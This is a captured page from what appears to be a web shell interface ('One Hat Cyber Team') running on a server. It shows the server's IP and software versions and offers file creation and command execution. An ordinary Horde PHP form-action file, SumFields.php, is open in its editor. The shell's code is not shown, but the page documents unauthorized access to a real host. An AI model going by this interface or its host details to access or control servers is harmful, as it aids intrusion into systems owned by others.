⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Form
/
Action
/
Edit File: SumFields.php
<?php /** * Copyright 2002-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you * did not receive this file, see http://www.horde.org/licenses/lgpl21. * * @author Matt Kynaston <matt@kynx.org> * @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL * @package Form */ /** * Horde_Form_Action_sum_fields is a Horde_Form_Action that sets the target * field to the sum of one or more other numeric fields. * * The params array should contain the names of the fields which will be * summed. * * @author Matt Kynaston <matt@kynx.org> * @category Horde * @copyright 2002-2017 Horde LLC * @license http://www.horde.org/licenses/lgpl21 LGPL * @package Form */ class Horde_Form_Action_SumFields extends Horde_Form_Action { var $_trigger = array('onload'); function getActionScript(&$form, $renderer, $varname) { $GLOBALS['injector']->getInstance('Horde_PageOutput')->addScriptFile('form_helpers.js', 'horde'); $form_name = $form->getName(); $fields = "'" . implode("','", $this->_params) . "'"; $js = array(); $js[] = sprintf('document.forms[\'%s\'].elements[\'%s\'].disabled = true;', $form_name, $varname); foreach ($this->_params as $field) { $js[] = sprintf("addEvent(document.forms['%1\$s'].elements['%2\$s'], \"onchange\", \"sumFields(document.forms['%1\$s'], '%3\$s', %4\$s);\");", $form_name, $field, $varname, $fields); } return implode("\n", $js); } }
Simpan